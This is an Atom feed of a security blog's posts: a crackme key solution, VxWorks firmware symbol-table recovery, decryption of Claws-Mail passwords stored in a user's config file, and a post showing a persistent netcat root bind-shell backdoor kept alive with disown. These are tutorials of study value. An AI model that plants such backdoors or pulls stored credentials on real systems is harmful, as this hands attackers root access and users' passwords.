&lt;/p&gt;

&lt;span style="font-weight: bold;font-size:180%;" &gt;Crypto2  &lt;/span&gt;

&lt;pre&gt;
dad@gambas /tmp % python2 crypto2.py
usage:  crypto2.py  &lt;name&gt; &lt;serial&gt;
dad@gambas /tmp % python2 crypto2.py name 1010
bad
&lt;/pre&gt;

&lt;p&gt;
A fast analyze of the code shows that a checksum is calculated on the value generated from the name. This checksum is reversible and can be shown as an error code (XORed). Then msb is dropped and the error code is appended to the variable. This operation is made 0x10001 times.
&lt;/p&gt;

&lt;pre&gt;
for i in range(65537):
temp = state &amp;amp; 0x800000000000000D
sum = 1
while temp:
   sum ^= (temp &amp;amp; 1);
   temp &gt;&gt;= 1;

state = ((state &lt;&lt;&gt;
&lt;/pre&gt;

&lt;p&gt;
Luckily for us, 0x800000000000000D is exactly what we need to reverse the algorithm! The mask is 2**64-1 and so the dropped bit is calculated by the error code. The only step to recover it is to calculate the checksum again, if the recovered sum match, it was a 0; otherwise a 1. Btw we'll loop as done before :
&lt;/p&gt;

&lt;pre&gt;
for i in range(65537):
state_ori = state
state = state &gt;&gt; 1

temp = state &amp;amp; 0x800000000000000D
#print "temp:" + str(temp)
sum = 1
while temp:
   sum ^= (temp &amp;amp; 1);
   # print " sum:"+ str(sum)
   temp &gt;&gt;= 1;
   # print " temp:" + str(temp)

if (state_ori &amp;amp; 1) != sum:
   state |= (1 &lt;&lt;&gt;
&lt;/pre&gt;

&lt;p&gt;
Let's try our snippet :
&lt;/p&gt;

&lt;pre&gt;dad@gambas /tmp % python2 crypto2_sol.py Gr@L@nD 1
state to find: 20110343829220932
reverse
state:15623916848929268887 sum: 1 temp: 0
bad
dad@gambas /tmp % python2 crypto2.py Gr@L@nD 15623916848929268887
good
&lt;/pre&gt;

&lt;p&gt;
Yipie! Had a hard time trying to reverse the algorithm operation by operation, should always think of the associated state machine :)
&lt;/p&gt;

&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;Crypto 3  &lt;/span&gt;&lt;/span&gt;

&lt;p&gt;
Ok difficulty 5/9 it should be harder! As a quick analysis, two lists are calculated from both name and serial derivated from two distincts subsitution boxes. Solution is found when lists are equals, so we have to reverse engineer final list generation algorithm and calculate the associated number.

[To finish :]
&lt;/p&gt;

&lt;span style="font-weight: bold;font-size:180%;" &gt;References&lt;/span&gt;

&lt;p&gt;
http://code.activestate.com/recipes/474129-extended-great-common-divisor-function/ http://python.jpvweb.com/mesrecettespython/doku.php?id=restes_chinois
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-6965593728785341963?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/6965593728785341963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/02/hello-lets-level-up-this-blog-with-some.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/6965593728785341963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/6965593728785341963'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/02/hello-lets-level-up-this-blog-with-some.html' title=''/><author><name>Dad.</name><uri>http://www.blogger.com/profile/05266852027016346183</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-5357484527179050374</id><published>2011-01-27T16:55:00.021+01:00</published><updated>2011-01-27T19:16:00.619+01:00</updated><title type='text'>Quick checks on VxWorks images - part 2</title><content type='html'>&lt;p&gt;
Following the 1st post on VxWorks, let's check some more internals on binary system images. I will focus on VxWorks version 5, which is based on a proprietary binary format, whereas VxWorks version 6 makes use of the ELF executable and linkable format. VxWorks 5 images are  monolithic: everything -system and applications- is often built and linked into a single executable file. And luckily (or by mistake?) most of the VxWorks 5 images I have seen include debugging symbols! Manufacturers seem forgetting to strip their firmwares...
&lt;/p&gt;
&lt;p&gt;
My goal for now is to retrieve the symbol table containing all functions' code start address, and corresponding symbols' name and type. Firstly, I will try to find suspicious areas were functions or variables names are collapsed, separated with padding bytes. &lt;br&gt;
For example:
&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
[...]
00137E80   74 65 6C 6E  65 74 64 54  61 73 6B 44  65 6C 65 74  telnetdTaskDelet
00137E90   65 00 74 65  6C 6E 65 74  64 53 65 73  73 69 6F 6E  e.telnetdSession
00137EA0   44 69 73 63  6F 6E 6E 65  63 74 46 72  6F 6D 53 68  DisconnectFromSh
00137EB0   65 6C 6C 4A  6F 62 00 74  65 6C 6E 65  74 64 53 65  ellJob.telnetdSe
00137EC0   73 73 69 6F  6E 44 69 73  63 6F 6E 6E  65 63 74 46  ssionDisconnectF
00137ED0   72 6F 6D 53  68 65 6C 6C  00 74 65 6C  6E 65 74 64  romShell.telnetd
00137EE0   53 65 73 73  69 6F 6E 44  69 73 63 6F  6E 6E 65 63  SessionDisconnec
00137EF0   74 46 72 6F  6D 52 65 6D  6F 74 65 00  74 65 6C 6E  tFromRemote.teln
00137F00   65 74 64 50  61 72 73 65  72 43 6F 6E  74 72 6F 6C  etdParserControl
[...]
&lt;/pre&gt;
&lt;p&gt;
After some more checks, I have a good view on the way those names are appended all together: it is only printable characters separated by 1 or few null bytes. This will be easy to automate a search. Furthermore, it can help in retrieving the OS loading address used by the bootloader: addresses of those symbols in the static file are not those at the execution time; however, they are all moved by a fixed offset: ...the loading address. &lt;br&gt;
An idea is to make use of the difference between all the symbols strings address instead of using directly their static addresses in the file. May these relative offsets help in retrieving the symbol table? &lt;br&gt;
Let's open python again, find sequence of symbols and return the list of offsets between them:
&lt;/p&gt;
&lt;pre class="brush: python;"&gt;
def scan_for_symbols(img):
    # printable chars:  0x21 to 0x7E
    # scan the file for printable chars,
    # spaced with \x00 repeated 1 to maxp times
    
    # constants:
    # char for padding between symbols
    pad_char = '\x00'
    # maximum padding bytes admitted between symbols strings
    maxp = 8
    # limit to determine possible sequence of symbols names
    min_pattern = 0x100 
    
    # initialized:
    num_pattern = 0 # count possible symbols during scan
    start_addr = 0 # store the possible sequence start address
    addr_cur_sym, addr_prev_sym = 0, 0 # start address of possible symbols
    p, pad, acc = 0, 0, 0 # address pointer, and pad and char counters
    addr_diff = [] # list with address offsets between symbols
    ret = [] # list with addr_diff lists found
    
    while p &lt; len(img):
        if 0x21 &lt; ord(img[p]) &lt; 0x7E:
            if start_addr == 0:
                start_addr = p
            if pad &gt; 0:
                addr_cur_sym = p
                if addr_prev_sym &gt; 0:
                    addr_diff.append(addr_cur_sym - \
                     addr_prev_sym)
                addr_prev_sym = addr_cur_sym
            pad = 0
            acc += 1
        elif img[p] == pad_char and pad &lt;= maxp:
            if acc &gt; 0:
                num_pattern += 1
            acc = 0
            pad += 1
        else:
            if num_pattern &gt; min_pattern:
                print '[+] possible symbols starting' \
                      ' at address: 0x%x' \
                      % start_addr
                ret.append(addr_diff)
            addr_diff = []
            addr_cur_sym, addr_prev_sym = 0, 0
            pad, acc = 0, 0
            num_pattern = 0
            start_addr = 0
        p += 1
    return ret
&lt;/pre&gt;
&lt;p&gt;
And as a result in the python interpreter (with the firmware image of the IP-enable fridge):
&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
&gt;&gt;&gt; s = scan_for_symbols(img)
[+] possible symbols starting at address: 0x10f90e0
[+] possible symbols starting at address: 0x138fdbc
[+] possible symbols starting at address: 0x14de5f8
&gt;&gt;&gt; [(len(l), l[:15]) for l in s]
[(481, [24, 24, 36, 32, 24, 24, 28, 28, 24, 28, 24, 20, 24, 24, 24]), 
(519, [8, 8, 8, 8, 8, 4, 8, 4, 4, 4, 4, 4, 8, 32, 20]), 
(45700, [12, 12, 12, 8, 8, 8, 8, 8, 8, 4, 8, 8, 8, 4, 8])]
&lt;/pre&gt;
&lt;p&gt;
It seems we have a winner at 0x14de5f8 with 47500 debugging symbols! I can confirm thanks to my hexeditor.&lt;br&gt;
Next step would be to use those offsets to retrieve the symbol table containing functions pointers: scanning the file, applying a guessed size of a pattern from the table, and comparing the relative offsets between successive supposed symbol's address with what I got from scan_from_symbols(). &lt;br&gt;
Let's do a simple research with python:
&lt;/p&gt;
&lt;pre class="brush: python;"&gt;
def search_symbol_table(img, offset_list):
    endian='&gt;' # handle endianness for DWORD
    pat_size=16 # guessed size of a pattern of the symbol table
    
    # truncate the list to avoid possible dummy symbols
    # at the beginning and end 
    offset_list = offset_list[50:-50]
    
    i, start_addr = 0, 0
    # scan with word alignment at 0, 1, 2, ... pat_size bytes
    for o in range(0, pat_size):
        for p in range(0, len(img)-(2*pat_size), pat_size):
            sym_addr_1 = struct.unpack(endian+'I', \
                          img[p+o:p+o+4])[0]
            sym_addr_2 = struct.unpack(endian+'I', \
                          img[p+o+pat_size:p+o+pat_size+4])[0]
            # check against the symbols offset list
            if (sym_addr_2 - sym_addr_1).__abs__() == \
             offset_list[i]:
                i += 1
                if i == 1:
                    start_addr = p+o
                elif i == len(offset_list):
                    print '[+] found symbol table starting'
                          ' just before address: 0x%x' \
                          % start_addr
                    i = 0
            else:
                i = 0
&lt;/pre&gt;
&lt;p&gt;
And let's try it on our fridge's firmware image with the 45700 debugging symbols:
&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
&gt;&gt;&gt; s = scan_for_symbols(img)
[+] possible symbols starting at address: 0x10f90e0
[+] possible symbols starting at address: 0x138fdbc
[+] possible symbols starting at address: 0x14de5f8
&gt;&gt;&gt; search_symbol_table(img, s[2])
[+] found symbol table starting just before address: 0x158d958
&lt;/pre&gt;
&lt;p&gt;
After checking with the hexeditor, the match is confirmed: Bingo! Actually, the table is exactly starting at address 0x158d6b8. This is because we truncated the beginning of the offset list a bit too much. &lt;br&gt;
The format that seem to be used by VxWorks 5 is: &lt;br&gt;
struct symtable_pattern{ &lt;br&gt;
dword symbol_addr; &lt;br&gt;
dword code_addr; &lt;br&gt;
dword symbol_type; // 0x500: function, 0x700: data, 0x900: ? &lt;br&gt;
dword null; &lt;br&gt;
}; &lt;br&gt;
I was lucky to find a match directly. It could have happened that the offset list deduced from the symbols strings would need to be reversed. It could also happen (who knows how obscure debuggers work...) that the symbols in the string list are not sorted in the same way than the patterns in the symbol table. For those reasons, we can have another approach to try to find the symbol table: a bit more statistical...&lt;br&gt;
So, one can scan the firmware image, extracting 2 consecutive supposed symbol addresses (guessing again the size of a pattern of the table), and check if the difference between those 2 addresses is less than the maximum memory space taken by the full symbols string. If there is a match a number of time equal to the number of symbols found in the string area: then we have certainly found the symbol table... Or a large area of padding :( &lt;br&gt;
However, let's test it:
&lt;/p&gt;
&lt;pre class="brush: python;"&gt;
def search_symbol_table_stat(img, sym_number, max_offset):
    endian='&gt;'
    pat_size = 16
    i, start_addr = 0, 0
    # scan with word alignment at 0, 1, ..., pat_size bytes
    for o in range(0, pat_size):
        for p in range(0, len(img)-(2*pat_size), pat_size):
            sym_addr_1 = struct.unpack(endian+'I', \
                          img[p+o:p+o+4])[0]
            sym_addr_2 = struct.unpack(endian+'I', \
                          img[p+o+pat_size:p+o+pat_size+4])[0]
            if (sym_addr_2 - sym_addr_1).__abs__() &lt; \
             max_offset:
                i += 1
                if i == 1:
                    start_addr = p+o
                elif i == sym_number:
                    print '[+] possible symbol table'\
                          ' starting at address: 0x%x' \
                          % start_addr
            else:
                i = 0
&lt;/pre&gt;
&lt;p&gt;
And let's try it again on fridge's firmware:
&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
&gt;&gt;&gt; search_symbol_table_stat(img, len(s[2]), sum(s[2]))
[+] possible symbol table starting at address: 0x158d580
[+] possible symbol table starting at address: 0x1652d80
[+] possible symbol table starting at address: 0x158d591
[...]
[+] possible symbol table starting at address: 0x1652d8f
&lt;/pre&gt;
&lt;p&gt;
Suprisingly, the result is not so bad... I find the area starting at 0x158d580 thanks to the statistic search, that is close to the exact start address 0x158d6b8. The area starting at 0x1652d80 is actually padding bytes.
&lt;/p&gt;
&lt;p&gt;
Knowing the symbol table and the list of symbols strings, I have now to retrieve the loading address of the firmware. The idea is to get one of the extrem address (lowest or highest) from the symbols strings, and the equivalent in the symbol table. Based on the last example with 45700 symbols, I get the loading address: 0x10000. Look's good! &lt;br&gt;
Let it try now on the firmware of the helium balloon:
&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
&gt;&gt;&gt; len(img)
9128872
&gt;&gt;&gt; s = scan_for_symbols(img)
[+] possible symbols starting at address: 0x67e358
&gt;&gt;&gt; len(s[0])
15874
&gt;&gt;&gt; search_symbol_table(img, s[0])
&gt;&gt;&gt; search_symbol_table_stat(img, len(s[0]), sum(s[0]))
[+] possible symbol table starting at address: 0x71cd40
[+] possible symbol table starting at address: 0x75ad70
[+] possible symbol table starting at address: 0x71cd41
[+] possible symbol table starting at address: 0x75ad71
[...]
[+] possible symbol table starting at address: 0x75ad7f
&gt;&gt;&gt; get_lowest_addr_from_symtable(0x71cd40, 0x75ab8c)
1617425240
&gt;&gt;&gt; hex(_ - 0x67e358)
'0x60001000'
&lt;/pre&gt;
&lt;p&gt;
So, this image has almost 16000 symbols. Checking with the hexeditor, I can confirm the starting address of the symbol table: 0x71cd40. I note at the same time the end of the table: 0x75ab8c. And comparing lowest addresses between symbols strings and symbol table, I deduce the loading address: 0x60001000. So nice...&lt;br&gt;
From this point, it is possible to extract the list of symbols with corresponding code start address and type. This is left for the reader, and it ends up this 2nd session on VxWorks image analysis. &lt;br&gt;
Next session, blind_key will use the loading address and debugging symbols retrieved here to resolve cross-reference of the image executable in IDA. This will help us in having a logical view of the binary, instead of the austere hexa view we had up to now.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-5357484527179050374?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/5357484527179050374/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/01/quick-checks-on-vxworks-images-part-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/5357484527179050374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/5357484527179050374'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/01/quick-checks-on-vxworks-images-part-2.html' title='Quick checks on VxWorks images - part 2'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-525717830876612021</id><published>2011-01-24T17:46:00.005+01:00</published><updated>2011-01-24T18:22:42.182+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reverse'/><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='claws-mail'/><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><title type='text'>The Local Priviledge Storage Impossibility</title><content type='html'>&lt;div style="text-align: justify;"&gt;When you fire up your mailer, it (usually) does not prompt you your password to retrieve your mail. Instead, it stores it locally. Wait, whaaat ? My password is stored on my hard-drive, so anybody can boot on a live medium and 0wn me ? Yes, my dear. Fortunately, they are usually ciphered before being stored. Not always. Pidgin users can try the following ultr4-l33t h4xx :&lt;/div&gt;&lt;pre&gt;$ grep -rn "&amp;lt;password" ~/.purple/*&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;OK, this was funny. Some other softwares do a slightly better job at hiding your credentials. Here is today's" source-code-reverse-engineering" case-study ! The subject will be &lt;a href="http://www.claws-mail.org/"&gt;Claws-Mail&lt;/a&gt;. Get the source, grep magic words, and you'll quickly find the interesting source file.&lt;/div&gt;&lt;pre class="brush: bash;"&gt;$ wget http://downloads.sourceforge.net/\
sourceforge/sylpheed-claws/claws-mail-3.7.8.tar.bz2
$ tar xjvf claws-mail-3.7.8.tar.bz2
$ cd claws-mail-3.7.8/src
$ grep -rn password * # lots of stuff, let's get a simple file list
$ grep -rn password * | cut -d':' -f1 | sort | uniq
[...]
common/passcrypt.c
common/passcrypt.h
[...]
$ # here it is !
$ vim common/passcrypt.c common/passcrypt.h&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;The header file shows us a nice &lt;b&gt;PASSCRYPT_KEY&lt;/b&gt; set to "&lt;i&gt;passkey0&lt;/i&gt;". And in the C file, we find the ciphering and deciphering procedures. A lot of obscure crypto (at least obscure to me), but you don't need to be a genius to understand the problem: the secret is not secret (it's in the header file), so no crypto-system will be able to hide the password we want to protect. Moreover, there is no need to reverse the algorithm, since the source file provides both ciphering and deciphering functions.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;One note about this problem: it is impossible to solve. You cannot hide something to someone who knows the secret you use. Unlike the hashing algorithms used to store your UNIX credentials in &lt;i&gt;/etc/shadow&lt;/i&gt; for example, Claws-Mail &lt;b&gt;HAS&lt;/b&gt; to store the password in a reversible way. Here is why.&lt;br /&gt;
When you type your password in the UNIX login prompt, the system checks that the password you gave produces the same hash that is stored in &lt;i&gt;/etc/shadow&lt;/i&gt;; it does not check that you entered &lt;b&gt;YOUR&lt;/b&gt; password (because it does not know it, it simply knows the hash). Thanks to the cryptographic hash functions properties, this ensures us that there is a very high probability that the password you entered was indeed yours. This propery is called &lt;b&gt;collision resistance&lt;/b&gt;.&lt;br /&gt;
On the contrary, Claws-Mail &lt;b&gt;HAS&lt;/b&gt; to know your password because the mail protocol (e.g IMAP, SMTP) states that you must provide a password. So either you type the password each time you launch Claws-Mail, either it stores it in a reversible way. Anyone who has the same knowledge as you (i.e. who knows the value of PASSCRYPT_KEY) can retrieve the password.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Claws-Mail stores the ciphered password in &lt;i&gt;~/.claws-mail/accountrc&lt;/i&gt;. All the code you need is already there: the deciphering procedure in &lt;i&gt;common/passcrypt.c&lt;/i&gt;, plus some base64 stuff in &lt;i&gt;common/base64.c&lt;/i&gt;.&lt;/div&gt;&lt;pre&gt;$ sudo grep password /home/dummy/.claws-mail/accountrc
password=!U5unwpFJ3+dsOVd+IwfdyQ==
$ grep -rn passcrypt_decrypt *
[...]
prefs_gtk.c:226:    passcrypt_decrypt(tmp, len);
[...]
$ vim prefs_gtk.c
&lt;/pre&gt;The deciphering is done in this file. &lt;br /&gt;
&lt;pre&gt;case P_PASSWORD:
   g_free(*((gchar **)param[i].data));
   if (value[0] == '!') {
    gchar tmp[1024];
    gint len;

    len = base64_decode(tmp, &amp;amp;value[1], strlen(value) - 1);
    passcrypt_decrypt(tmp, len);
    tmp[len] = '\0';
    *((gchar **)param[i].data) =
     *tmp ? g_strdup(tmp) : NULL;
   } else {
    *((gchar **)param[i].data) =
     *value ? g_strdup(value) : NULL;
   }
   break;
&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;First character in has to be a "!", then it is decoded in &lt;i&gt;base64&lt;/i&gt;, then we call the &lt;i&gt;passcrypt_decrypt&lt;/i&gt; method on it. Add a "\0" at the end. All you need is to put the pieces together.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://pastebin.com/txQMcy7y"&gt;Here&lt;/a&gt; is a package with everything. C code put together (just ripped, no need to add anything), plus a python script that extracts all the informations and decipher the password.&lt;/div&gt;&lt;pre&gt;$ sudo python2 passrec.py dummy
[+] found claws-mail config files for user dummy
[ ] account address: dummy@gmail.com
[ ] receive server: imap.gmail.com
[ ] login: dummy
[ ] ciphered password: U5unwpFJ3+dsOVd+IwfdyQ==
[+] deciphered password: zessuperPAssw0rd
&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&lt;u&gt;&lt;b&gt;Warning:&lt;/b&gt;&lt;/u&gt; this script is so ugly that it will give eye-cancer to any person able to write a "Hello World" in python. Add &lt;b&gt;-fPIC&lt;/b&gt; to the lib target in the Makefile if it does not compile.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Fortunately you can modify the PASSCRYPT_KEY before Claws-Mail compilation: &lt;/div&gt;&lt;pre&gt;$ ./configure --with-passcrypt-key=KEY
&lt;/pre&gt;Unfortunately, the key will still be stored in the binary. So a little bit of reverse-engineering will eventually bring you the secret. Fire up gdb, break on &lt;i&gt;crypt_cfb_buf&lt;/i&gt;, and find the key.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-525717830876612021?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/525717830876612021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/01/local-priviledge-storage-impossibility.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/525717830876612021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/525717830876612021'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/01/local-priviledge-storage-impossibility.html' title='The Local Priviledge Storage Impossibility'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-2787074563209887240</id><published>2011-01-07T13:10:00.000+01:00</published><updated>2011-01-07T13:10:55.525+01:00</updated><title type='text'>Keyboard fun</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.daskeyboard.com/images/products/ultimate/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="164" src="http://www.daskeyboard.com/images/products/ultimate/1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
I bought a &lt;a href="http://www.daskeyboard.com/model-s-ultimate/"&gt;really mean keyboard&lt;/a&gt;. Yes, the keys are blank. I wanted to be able to switch keyboard layouts, and I find it weird to type on an AZERTY keybord with a QWERTY layout (and vice-versa). So, blank keys, no assumptions on the layout, no schizophrenia problem for me.&lt;br /&gt;
&lt;br /&gt;
Now, about the layout switching. You can use a GUI application (e.g. &lt;a href="http://fbxkb.sourceforge.net/"&gt;fbxkb&lt;/a&gt;), but if you have a really bad ass keyboard, you don't want this. So here is a more geeky solution using Xorg configuration. I'm using version 1.9.2.&lt;br /&gt;
&lt;br /&gt;
Open /etc/X11/xorg.conf.d/10-evdev.conf and edit the following lines in the keyboard section&lt;br /&gt;
&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Option "XkbLayout" "fr,us"
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Option "XkbOptions" "grp:caps_toggle,grp_led:caps"&lt;/pre&gt;&lt;br /&gt;
What it basically does is :&lt;br /&gt;
- load two layouts, fr and us&lt;br /&gt;
- use the Caps Lock key (seriously, who uses it ?) to change the layout&lt;br /&gt;
- toggle the Caps Lock LED when the keyboard layout switches (same behavious than with the normal Caps Lock key).&lt;br /&gt;
&lt;br /&gt;
You can find more on these options &lt;a href="http://www.gentoo-wiki.info/X11_Keyboard"&gt;here&lt;/a&gt; if you want to use different keys and LEDs. And by the way, if you find yourself "caps-locked", and unable to switch back (remember, the Caps Lock key changes the layout), try Shift-Caps_Lock...&lt;br /&gt;
&lt;br /&gt;
Another way to make the keyboard even more bad ass is to add media keys, since it does not have any. I use the three keys you might have never used, &lt;a href="http://en.wikipedia.org/wiki/Pause_key"&gt;Pause&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Print_screen"&gt;Print Screen&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Scroll_Lock"&gt;Scroll Lock&lt;/a&gt;. Here is a quote of my Openbox config (in ~/.config/openbox/rc.xml):&lt;br /&gt;
&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;keybind key="S-Print"&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;action name="Execute"&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;execute&amp;gt;scrot -s -e 'mv $f ~/sshots'&amp;lt;/execute&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/action&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/keybind&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;keybind key="S-Pause"&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;action name="execute"&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;execute&amp;gt;ncmpcpp toggle&amp;lt;/execute&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/action&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/keybind&amp;gt;&lt;/pre&gt;&lt;br /&gt;
So Shift-Print allows me to take a screenshot, and Shift-Pause acts like a Play-Pause key.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://diije.paradisia.net/images/shadok.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://diije.paradisia.net/images/shadok.jpg" width="216" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-2787074563209887240?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/2787074563209887240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/01/keyboard-fun.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/2787074563209887240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/2787074563209887240'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/01/keyboard-fun.html' title='Keyboard fun'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-846505812664051876</id><published>2010-12-15T23:19:00.010+01:00</published><updated>2010-12-16T01:20:31.840+01:00</updated><title type='text'>The 20-second challenge - Part IV</title><content type='html'>&lt;p&gt;You could sometimes be lazy enough to willing have direct root shell access (no login required). A really simple solution exists again, redirecting the socket directly to /bin/sh (or better, /bin/bash) launched by an UID 0 account.&lt;/p&gt;
&lt;p&gt;
I have 2 basic solutions for that:&lt;br&gt;
- netcat&lt;br&gt;
- inetd&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;The inetd method is more adapted to Unix system where it often comes in default configuration. Netcat, on the other side, is often found in Linux systems. With netcat, just use:&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&amp;
&lt;/pre&gt;
&lt;p&gt;This will background your infinite loop (this is a bit dirty...). It is unforunately completely un-stealth, as the netcat process will be seen in ps and netstat returns. Furthermore, if you kill the session used to launch the loop, the current netcat job will be attached to pid 1 and the loop will stop.&lt;/p&gt;
&lt;p&gt;An easy solution to let the "while" loop running, attached to a lower level pid (e.g. pid 1) is to "disown" it from your current session:&lt;br&gt;
&lt;br&gt;
before disowning:&lt;br&gt;
     ├─gnome-terminal─┬─bash───pstree&lt;br&gt;
     │                ├─bash&lt;br&gt;
     │                ├─bash───bash───netcat&lt;br&gt;
&lt;br&gt;
after disowning:&lt;br&gt;
init─┬─6*[agetty]&lt;br&gt;
     ├─bash───netcat&lt;br&gt;
&lt;br&gt;
To do this, a very simple bash builtin command: disown!&lt;/p&gt;
&lt;pre class="brush: bash;"&gt;
$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&amp;
[1] 3295
$ jobs
[1]+  Running                 while 'true'; do
    netcat -l -p 6666 -e /bin/bash;
done &amp;
$ disown %1
&lt;/pre&gt;
